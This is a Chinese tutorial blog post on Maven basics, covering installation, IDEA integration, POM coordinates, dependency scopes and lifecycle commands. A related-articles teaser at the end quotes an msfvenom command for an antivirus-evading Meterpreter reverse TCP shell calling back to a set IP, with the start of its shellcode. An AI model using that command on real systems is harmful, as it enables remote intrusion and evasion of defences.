java Maven入门笔记

news2025/6/24 17:16:17

后端Web开发技术的学习,我们要先学习Java项目的构建工具:Maven

目录

  • Maven概述
    • Maven介绍及其作用
    • Maven模型介绍
    • Maven仓库
    • Maven安装
  • IDEA集成Maven
    • 配置Maven环境
      • 当前工程设置
      • 全局设置
    • Maven项目
      • 创建Maven项目
      • POM配置详解
      • Maven坐标详解
    • 导入Maven项目
  • 依赖管理
    • 依赖配置
    • 依赖传递
      • 依赖传递排除
    • 依赖范围
    • Maven生命周期
    • 生命周期介绍
    • 执行生命周期
      • 方式一:在idea中执行生命周期
      • 方式二:在命令行中执行生命周期
  • 一些注意事项
    • 更新依赖索引
    • 清理maven仓库

Maven概述

Maven介绍及其作用

Maven是Apache旗下的一个开源项目,官网。其是一个项目管理和构建工具,它基于项目对象模型(Project Object Model , 简称: POM)的概念,通过一小段描述信息来管理项目的构建、报告和文档。

使用Maven能够做什么呢?

1. 依赖管理:方便快捷的管理项目依赖的资源(jar包),避免版本冲突问题
2. 统一项目结构:提供标准、统一的项目结构
3. 项目构建:maven提供了标准的、跨平台(Linux、Windows、MacOS) 的自动化项目构建方式

依赖管理

在这里插入图片描述

当使用maven进行项目依赖(jar包)管理,则很方便的可以解决这个问题。 我们只需要在maven项目的pom.xml文件中,添加一段如下图所示的配置即可实现。

在这里插入图片描述

统一项目结构

在项目开发中,当你使用不同的开发工具 (如:Eclipse、Idea),创建项目工程时:

在这里插入图片描述

若我们创建的是一个maven工程,是可以帮我们自动生成统一、标准的项目目录结构:

在这里插入图片描述

具体的统一结构如下:

在这里插入图片描述

src/main/java: java源代码目录
src/main/resources: 配置文件信息
src/test/java: 测试代码
src/test/resources: 测试配置文件信息

项目构建

当我们开发了一套系统,代码需要进行编译、测试、打包、发布,这些操作如果需要反复进行就显得特别麻烦,而Maven提供了一套简单的命令来完成项目构建。

在这里插入图片描述



Maven模型介绍

在这里插入图片描述

总共分为三部分:

项目对象模型 (Project Object Model)
依赖管理模型(Dependency)
构建生命周期/阶段(Build lifecycle & phases)

构建生命周期/阶段(Build lifecycle & phases)用来完成标准化构建流程 。当我们需要编译,Maven提供了一个编译插件供我们使用;当我们需要打包,Maven就提供了一个打包插件供我们使用等。

项目对象模型 (Project Object Model)将我们自己的项目抽象成一个对象模型,有自己专属的坐标,坐标,就是资源(jar包)的唯一标识,通过坐标可以定位到所需资源(jar包)位置,如下图所示是一个Maven项目:

在这里插入图片描述

在这里插入图片描述

依赖管理模型(Dependency)是使用坐标来描述当前项目依赖哪些第三方jar包

在这里插入图片描述

之前我们项目中需要jar包时,直接就把jar包复制到项目下的lib目录,而现在书写在pom.xml文件中的坐标又是怎么能找到所要的jar包文件的呢?
答案:Maven仓库



Maven仓库

仓库:用于存储资源,管理各种jar包。仓库的本质就是一个目录(文件夹),这个目录被用来存储开发中所有依赖(就是jar包)和插件。

Maven仓库分为:
本地仓库:自己计算机上的一个目录(用来存储jar包)
中央仓库:由Maven团队维护的全球唯一的。仓库地址
远程仓库(私服):一般由公司团队搭建的私有仓库

当项目中使用坐标引入对应依赖jar包后,首先会查找本地仓库中是否有对应的jar包
如果有,则在项目直接引用
如果没有,则去中央仓库中下载对应的jar包到本地仓库

如果还可以搭建远程仓库(私服),将来jar包的查找顺序则变为: 本地仓库 --> 远程仓库–> 中央仓库

在这里插入图片描述



Maven安装

在这里插入图片描述

下载地址

在这里插入图片描述

解压到没有中文、特殊字符的路径下,解压缩后的目录结构如下:

在这里插入图片描述

bin目录 : 存放的是可执行命令。(mvn 命令重点关注!)
conf目录 :存放Maven的配置文件。(settings.xml配置文件后期需要修改)
lib目录 :存放Maven依赖的jar包。(Maven也是使用java开发的,所以它也依赖其他的jar
包)

然后配置本地仓库,在自己计算机上新一个目录(本地仓库,用来存储jar包,这里就在maven安装目录下存放了)

在这里插入图片描述

进入到conf目录下修改settings.xml配置文件

打开settings.xml文件,定位到53行
复制标签,粘贴到注释的外面(55行)
复制之前新建的用来存储jar包的路径,替换掉标签体内容

完成图片上的步骤在cmd输入mvn -v输出maven版本号说明安装成功。





IDEA集成Maven

配置Maven环境

当前工程设置

1、选择 IDEA中 File => Settings => Build,Execution,Deployment => Build
Tools => Maven

2、设置IDEA使用本地安装的Maven,并修改配置文件及本地仓库路径

请添加图片描述

3、配置工程的编译版本为11,Maven默认使用的编译版本为5(版本过低)

在这里插入图片描述

File => Settings => Build,Execution,Deployment => Build
Tools => Maven=>Runner的JRE选项记得也更改成相应的编译版本。

上述配置的maven环境,只是针对于当前工程的,如果我们再创建一个project,又恢复成默认的配置了。 要解决这个问题, 我们就需要配置全局的maven环境。

全局设置

1、进入到IDEA欢迎页面(选择 IDEA中 File => close project)

2、打开 All settings , 选择 Build,Execution,Deployment => Build Tools =>
Maven

在这里插入图片描述

再按照上面工程设置的一样步骤进行,设置路径和编译版本。这里所设置的maven的环境信息,并未指定任何一个project,此时设置的信息就属于全局配置信息。
以后,我们再创建project,默认就是使用我们全局配置的信息。



Maven项目

创建Maven项目

1、创建一个空项目
2、创建模块,选择Maven,点击Next
3、填写模块名称,坐标信息,点击finish,创建完成
4、在Maven工程下,创建HelloWorld类

Maven项目的目录结构:

maven-project01
	|--- src (源代码目录和测试代码目录)
		|--- main (源代码目录)
			|--- java (源代码java文件目录)
			|--- resources (源代码配置文件目录)
		|--- test (测试代码目录)
			|--- java (测试代码java目录)
			|--- resources (测试代码配置文件目录)
	|--- target (编译、打包生成文件存放目录)

5、编写一个 HelloWorld输出,并运行

新创建的test目录里一般不带resources,因为不常用,也可以手动添加,选中test新建目录,可以看到有resources选项:

请添加图片描述

POM配置详解

POM (Project Object Model) :指的是项目对象模型,用来描述当前的maven项目。使用pom.xml文件来实现,工程里自动生成的pom.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <!-- POM模型版本 -->
    <modelVersion>4.0.0</modelVersion>

    <!-- 当前项目坐标 -->
    <groupId>org.example</groupId>
    <artifactId>hellomaven</artifactId>
    <version>1.0-SNAPSHOT</version>

    <!-- 打包方式 -->
    <packaging>jar</packaging>

</project>

pom文件详解:

pom文件的根标签,表示当前maven项目
声明项目描述遵循哪一个POM模型版本:
	虽然模型本身的版本很少改变,但它仍然是必不可少的。目前POM模型版本是4.0.0
坐标 :
	定位项目在本地仓库中的位置,由以上三个标签组成一个坐标
maven项目的打包方式,通常设置为jar或war(默认值:jar)

Maven坐标详解

什么是坐标?
Maven中的坐标是资源的唯一标识 , 通过该坐标可以唯一定位资源位置
使用坐标来定义项目或引入项目中需要的依赖

Maven坐标主要组成

groupId:定义当前Maven项目隶属组织名称(通常是域名反写,例如:com.baidu.www)
artifactId:定义当前Maven项目名称(通常是模块名称,例如 order-service、goodsservice)
version:定义当前项目版本号

如下就是使用坐标表示一个项目:

<groupId>org.example</groupId>
<artifactId>hellomaven</artifactId>
<version>1.0-SNAPSHOT</version>

注意
上面所说的资源可以是插件、依赖、当前项目。
我们的项目如果被其他的项目依赖时,也是需要坐标来引入的。




导入Maven项目

导入前可以将要导入的模块文件夹复制到工程目录下

方式1:使用Maven面板,快速导入项目
打开IDEA,选择右侧Maven面板,点击 + 号,选中对应项目的pom.xml文件,双击即可

在这里插入图片描述

在这里插入图片描述

如果没有Maven面板,选择 View => Appearance => Tool Window Bars

在这里插入图片描述



方式2:使用idea导入模块项目

File => Project Structure => Modules => + => Import Module

在这里插入图片描述

找到要导入工程的pom.xml,确认即可。

依赖管理

依赖配置

依赖:指当前项目运行所需要的jar包。一个项目中可以引入多个依赖:
例如:在当前工程中,我们需要用到logback来记录日志,此时就可以在maven工程的pom.xml文件中,引入logback的依赖。具体步骤如下:

  1. 在pom.xml中编写标签
  2. 在标签中使用引入坐标
  3. 定义坐标的 groupId、artifactId、version
  4. 点击刷新按钮,引入最新加入的坐标
<dependencies>
    <!-- 第1个依赖 : logback -->
    <dependency>
        <groupId>ch.qos.logback</groupId>
        <artifactId>logback-classic</artifactId>
        <version>1.2.11</version>
    </dependency>
    <!-- 第2个依赖 : junit -->
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.13.1</version>
    </dependency>
</dependencies>

刷新依赖:保证每一次引入新的依赖,或者修改现有的依赖配置,都可以加入最新的坐标
在这里插入图片描述

点击maven面板的刷新按钮也行:

请添加图片描述

注意事项:

  1. 如果引入的依赖,在本地仓库中不存在,将会连接远程仓库 / 中央仓库,然后下载依赖
    (这个过程会比较耗时,耐心等待)
  2. 如果不知道依赖的坐标信息,可以到mvn的中央仓库中搜索,在搜索栏搜索依赖名称,一般选择使用次数最搞的版本,点击版本号,可以看到官网给出了相应的代码

请添加图片描述




依赖传递

早期我们没有使用maven时,向项目中添加依赖的jar包,需要把所有的jar包都复制到项目工程下。如需要logback-classic时,由于logback-classic又依赖了logback-core和slf4j,所以必须把这3个jar包全部复制到项目工程下。

我们现在使用了maven,当项目中需要使用logback-classic时,只需要在pom.xml配置文件中,添加logback-classic的依赖坐标即可。在pom.xml文件中只添加了logback-classic依赖,但由于maven的依赖具有传递性,所以会自动把其所依赖的其他jar包也一起导入。

依赖传递可以分为:

  1. 直接依赖:在当前项目中通过依赖配置建立的依赖关系
  2. 间接依赖:被依赖的资源如果依赖其他资源,当前项目间接依赖其他资源

比如projectA依赖了projectB。对于projectA 来说,projectB 就是直接依赖。
而projectB依赖了projectC及其他jar包。 那么此时,在projectA中也会将projectC的依赖传递下来。对于projectA 来说,projectC就是间接依赖。

如果想可视化查看某个项目的依赖情况,只需打开它的pom文件,右键Diagrams,Show Dependencies即可:

请添加图片描述

请添加图片描述

依赖传递排除

问题:之前我们讲了依赖具有传递性。那么A依赖B,B依赖了junit,如果A不想将junit依赖进来,是否可以做到?
答案:在maven项目中,我们可以通过排除依赖来实现。

排除依赖:指主动断开依赖的资源。(被排除的资源无需指定版本)

因为是通过B引入的junit,所以在引入B的代码里加入排除依赖的代码:

<dependency>
    <!-- 当前项目坐标 -->
    <groupId>org.example</groupId>
    <artifactId>maven-ProjectB</artifactId>
    <version>1.0-SNAPSHOT</version>
    <!--排除依赖, 主动断开依赖的资源-->
    <exclusions>
        <exclusion>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
        </exclusion>
    </exclusions>
</dependency>

刷新后发现A依赖的B里面已经没有依赖junit了。




依赖范围

在项目中导入依赖的jar包后,默认情况下,可以在任何地方使用。

在这里插入图片描述

如果希望限制依赖的使用范围,可以通过标签设置其作用范围:

在这里插入图片描述

如上图所示,给junit依赖通过scope标签指定依赖的作用范围。 那么这个依赖就只能作用在测试环境,其他环境下不能使用。

作用范围:

  1. 主程序范围有效(main文件夹范围内)

  2. 测试程序范围有效(test文件夹范围内)

  3. 是否参与打包运行(package指令范围内),这个是什么意思呢?比如下面的provide值,表示项目的运行环境中已经提供了所需要的构件,对于此依赖范围的maven依赖,对于编译源码、编译测试、运行测试中classpath有效,但在运行时无效。比如servlet-api,这个在编译和测试的时候需要用到,但是在运行的时候,web容器已经提供了,就不需要maven帮忙引入了。

scope标签的取值范围:

scope主程序测试程序打包(运行)范例
compile(默认)YYYlog4j
test-Y-junit
providedYY-servlet-api
runtime-YYjdbc驱动

还有runtime,代表运行时依赖范围,使用此依赖范围的maven依赖,对于编译测试、运行测试和运行项目的classpath有效,但在编译主代码时无效,比如jdbc驱动实现,运行的时候才需要具体的jdbc驱动实现。



Maven生命周期

生命周期介绍

Maven的生命周期就是为了对所有的构建过程进行抽象和统一。Maven从大量项目和构建工具中学习和反思,然后总结了一套高度完美的,易扩展的项目构建生命周
期。这个生命周期包含了项目的清理,初始化,编译,测试,打包,集成测试,验证,部署和站点生成等几乎所有构建步骤。Maven对项目构建的生命周期划分为3套(相互独立):

在这里插入图片描述

clean:清理工作。
default:核心工作。如:编译、测试、打包、安装、部署等。
site:生成报告、发布站点等。

具体包含:

在这里插入图片描述

常用的并不多,主要关注以下几个:

• clean:移除上一次构建生成的文件
• compile:编译项目源代码
• test:使用合适的单元测试框架运行测试(junit)
• package:将编译后的文件打包,如:jar、war等
• install:安装项目到本地仓库

生命周期本身不做任何实际工作。在Maven的设计中,实际任务(如源代码编译)都交由插件来完成。
IDEA工具为了方便程序员使用maven生命周期,在右侧的maven工具栏中,已给出快速访问通道

在这里插入图片描述

生命周期的顺序是:clean --> validate --> compile --> test --> package -->
verify --> install --> site --> deploy
我们需要关注的就是:clean --> compile --> test --> package --> install

前面我们将生命周期分成了3套,在同一套生命周期中,我们在执行后面的生命周期时,前面的生命周期都会执行。

比如:当运行package生命周期时,clean、compile生命周期会不会运行?

答:clean不会运行,compile会运行。 因为compile与package属于同一套生命周
期,而clean与package不属于同一套生命周期。



执行生命周期

有两种执行方式:

  1. 在idea工具右侧的maven工具栏中,选择对应的生命周期,双击执行
  2. 在DOS命令行中,通过maven命令执行

方式一:在idea中执行生命周期

选择对应的生命周期,双击执行

在这里插入图片描述

compile:

在这里插入图片描述

test:

在这里插入图片描述

package:

在这里插入图片描述

install:

在这里插入图片描述

clean:

在这里插入图片描述



方式二:在命令行中执行生命周期

在这里插入图片描述

在这里插入图片描述





一些注意事项

更新依赖索引

有时候给idea配置完maven仓库信息后,在idea中依然搜索不到仓库中的jar包。这是因为仓库中的jar包索引尚未更新到idea中。这个时候我们就需要更新idea中maven的索引了,具体做法如下:
打开设置----搜索maven----Repositories----选中本地仓库-----点击Update

在这里插入图片描述

清理maven仓库

初始情况下,我们的本地仓库是没有任何jar包的,此时会从私服去下载(如果没有配置,就直接从中
央仓库去下载),可能由于网络的原因,jar包下载不完全,这些不完整的jar包都是以lastUpdated结尾。此时,maven不会再重新帮你下载,需要你删除这些以lastUpdated结尾的文件,然后maven才会再次自动下载这些jar包。

在这里插入图片描述

如果本地仓库中有很多这样的以lastUpadted结尾的文件,可以定义一个批处理文件,在其中编写如下
脚本来删除:

set REPOSITORY_PATH=E:\develop\apache-maven-3.6.1\mvn_repo
rem 正在搜索...
del /s /q %REPOSITORY_PATH%\*.lastUpdated
rem 搜索完毕
pause

定义批处理文件del_lastUpdated.bat (直接创建一个文本文件,命名为
del_lastUpdated,后缀名直接改为bat即可 ),地址修改为本地仓库目录,双击运行即可删除maven仓库中的残留文件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086066.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

脂质代谢+预后模型+WGCNA+单细胞多种要素分析

今天给同学们分享一篇脂质代谢预后模型WGCNA单细胞的生信文章“A Novel Lipid Metabolism and Endoplasmic Reticulum Stress-Related Risk Model for Predicting Immune Infiltration and Prognosis in Colorectal Cancer”&#xff0c;这篇文章于2023年9月8日发表在Int Mol S…

在服务器上解压.7z文件

1. 更新apt sudo apt-get update2. 安装p7zip sudo apt-get install p7zip-full3. 解压.7z文件 7za x WN18RR.7z

ETL数据转换方式有哪些

ETL数据转换方式有哪些 ETL&#xff08;Extract&#xff0c; Transform&#xff0c; Load&#xff09;是一种常用的数据处理方式&#xff0c;用于从源系统中提取数据&#xff0c;进行转换&#xff0c;并加载到目标系统中。 数据清洗&#xff08;Data Cleaning&#xff09;&am…

github 中关于Pyqt 的module view 操作练习

代码摘自&#xff0c;Pyside6 中的示例代码部分 # -*- coding: utf-8 -*- import sys from PySide6.QtWidgets import * from PySide6.QtGui import * from PySide6.QtCore import * from PySide6.QtSql import QSqlDatabase, QSqlQueryModel, QSqlQuery import os os.chdir(os…

C++学习——“面向对象编程”的涵义

以下内容源于C语言中文网的学习与整理&#xff0c;非原创&#xff0c;如有侵权请告知删除。 类是一个通用的概念&#xff0c;C、Java、C#、PHP 等很多编程语言中都支持类&#xff0c;都可以通过类创建对象。我们可以将类看做是结构体的升级版&#xff0c;C语言的晚辈们看到了C…

Linux网络编程:UDP协议和TCP协议

目录 一. 对于端口号的理解 1.1 网络通信五元组 1.2 端口号的划分策略 二. 网络通信中常用的指令 2.1 netstat指令 2.2 pidof指令 三. udp协议 3.1 udp的概念及特点 3.2 udp协议端格式 3.3 对于面向数据报及应用层发送与读取数据的理解 四. tcp协议的概念及特点 五.…

智能指针简介

智能指针简介 文章目录 智能指针简介摘要什么是智能指针C 98 中的智能指针C 11 中的智能指针C 17 中的智能指针智能指针常用函数 关键字&#xff1a; 智能指针、 auto_ptr、 std::shared_ptr、 std::unique_ptr、 std::weak_ptr 摘要 之前基本都是学习的Qt版本的C&#x…

基于uniapp的商城外卖小程序

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

【数据结构-栈 二】【单调栈】每日温度、接雨水

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调栈的应用】&#xff0c;使用【栈】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&am…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO&#xff08;SearchEngineOptimization&#xff09;优化是提高网站在搜索引擎中排名&#xff0c;吸引更多流量的重要手段。但是&#xff0c;为了追求更高的排名和流量&#xff0c;很多企业或个人对SEO优化盲目依赖&#xff0c;而忽视了网站的质量与用户体验&#xff0c;这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…